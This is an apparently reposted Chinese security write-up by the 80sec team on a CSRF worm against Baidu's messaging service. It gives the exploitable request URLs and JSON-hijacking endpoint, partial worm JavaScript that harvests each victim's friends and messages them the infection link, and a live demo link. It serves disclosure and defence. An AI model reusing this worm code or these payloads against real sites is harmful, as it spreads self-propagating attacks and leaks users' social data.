百度Hi Csrf蠕蟲攻擊
發(fā)表時間:2023-09-08 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]漏洞起因:百度是國內(nèi)最大的中文搜索引擎。同時百度也提供了百度空間、百度貼吧等BLOG社區(qū)服務,擁有海量的用戶群,號稱全球最大中文社區(qū)。80sec 發(fā)現(xiàn)過百度產(chǎn)品一系列的安全漏洞,其中一些問題得到了有效的修補,但是百度的產(chǎn)品仍然存在很多嚴重的安全漏洞,利用這些漏洞黑客可以制作Web蠕蟲,影響 百度所...
漏洞起因:百度是國內(nèi)最大的中文搜索引擎。同時百度也提供了百度空間、百度貼吧等BLOG社區(qū)服務,擁有海量的用戶群,號稱全球最大中文社區(qū)。80sec 發(fā)現(xiàn)過百度產(chǎn)品一系列的安全漏洞,其中一些問題得到了有效的修補,但是百度的產(chǎn)品仍然存在很多嚴重的安全漏洞,利用這些漏洞黑客可以制作Web蠕蟲,影響 百度所有的用戶。
CSRF worm技術(shù)分析:
一. 百度用戶中心短消息功能存在CSRF漏洞
百度用戶中心短消息功能和百度空間、百度貼吧等產(chǎn)品相互關(guān)聯(lián),用戶可以給指定百度ID用戶發(fā)送短消息,在百度空間用互為好友的情況下,發(fā)送短消息 將沒有任何限制,同時由于百度程序員在實現(xiàn)短消息功能時使用了$_REQUEST類變量傳參,給黑客利用CSRF漏洞進行攻擊提供了很大的方便。百度用戶 中心短消息功能的請求參數(shù)能夠被完全預測,只需要指定sn參數(shù)為發(fā)送消息的用戶,co參數(shù)為消息內(nèi)容,就可以成功發(fā)送短消息,如下:
http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用戶賬號&co=消息內(nèi)容
該漏洞在07年被應用于80SEC測試的百度XSS WORM中,至今尚未修補。
二. 百度空間好友json數(shù)據(jù)泄露問題
百度空間的好友功能數(shù)據(jù)是使用json格式實現(xiàn)的,此接口沒有做任何的安全限制,只需將un參數(shù)設定為任意用戶賬號,就可以獲得指定用戶的百度好友數(shù)據(jù),如下
http://frd.baidu.com/?ct=28&un=用戶賬號&cm=FriList&tn=bmABCFriList&callback=gotfriends
該漏洞可以直接被Javascript劫持技術(shù)利用,獲取用戶的好友信息.
三. 百度認證問題
web攻擊不可避免地依賴于系統(tǒng)的認證,而在百度的認證系統(tǒng)里,所有認證基于SESSION,這樣在IE里就不會被IE的隱私策略阻止,會話認證信息每次都會被發(fā)送出去,為我們?nèi)湎x的傳播提供了必要的條件。
四. CSRF JavaScript_Hijacking Session Auth= CSRF worm
CSRF攻擊結(jié)合Javascript劫持技術(shù)完全可以實現(xiàn)CSRF worm,百度產(chǎn)品的這兩個安全問題為實現(xiàn)Web蠕蟲提供了所有的條件,80Sec團隊已經(jīng)編寫出一只完整的百度csrf蠕蟲,這是一只完全由客戶端腳本 實現(xiàn)的CSRF蠕蟲,這只蠕蟲實際上只有一條鏈接,受害者點擊這條鏈接后,將會自動把這條鏈接通過短消息功能傳給受害者所有的好友,因為百度用戶基數(shù)很 大,所以蠕蟲的傳播速度將會呈幾何級成長,下面對csrf蠕蟲部分代碼進行分析:
1. 模擬服務端取得request的參數(shù)
var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);
省略…………….
定義蠕蟲頁面服務器地址,取得?和&符號后的字符串,從URL中提取得感染蠕蟲的用戶名和感染蠕蟲者的好友用戶名。
2. 好友json數(shù)據(jù)的動態(tài)獲取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i )
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’ lusername ’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);
通過CSRF漏洞從遠程加載受害者的好友json數(shù)據(jù),根據(jù)該接口的json數(shù)據(jù)格式,提取好友數(shù)據(jù)為蠕蟲的傳播流程做準備。
3. 感染信息輸出和消息發(fā)送的核心部分
evilurl=url ”/wish.php?from=” lusername ”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i ){
省略…………….
mysendmsg=mysendmsg ”&” i;
eval(’x' i ’=new Image();x’ i ’.src=unescape(”‘ mysendmsg ’”);’);
省略…………….
整個蠕蟲最核心的部分,按照蠕蟲感染的邏輯,將感染者用戶名和需要傳播的好友用戶名放到蠕蟲鏈接內(nèi),最后輸出短消息內(nèi)容,使用一個FOR循環(huán)結(jié)構(gòu)歷遍所有好友數(shù)據(jù),通過圖片文件請求向所有的好友發(fā)送感染鏈接信息。
4. 注意細節(jié)
由于需要動態(tài)加載json數(shù)據(jù)運行,所以必須注意各個函數(shù)執(zhí)行的先后順序,否則json數(shù)據(jù)還未加載完畢,蠕蟲核心部分的流程將跑不起來。
5. CSRF Worm DEMO頁
這里我們提供了一個百度CSRF Worm DEMO頁僅供大家進行安全測試,非安全測試的其他行為,80SEC將不負任何責任。測試方法:
將to參數(shù)設置為自己的用戶名,登陸百度后點擊鏈接或直接進入頁面
http://www.80sec.com/wish.php?to=自己的百度用戶名
五 CSRF worm安全提醒:
除開百度,國內(nèi)的社區(qū)類、Web2.0類網(wǎng)站如校內(nèi)網(wǎng)、Myspace、飯否等都存在這類安全問題,黑客可以直接通過CSRF攻擊配合各種功能應 用針對網(wǎng)站進行CSRF worm攻擊,網(wǎng)站可以參考http://www.80sec.com/csrf-securit.html文檔中的安全提醒做進一步的防范。
百度Hi Csrf蠕蟲攻擊:http://www.80sec.com/baidu-hi-scrf-worm-attac.html
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。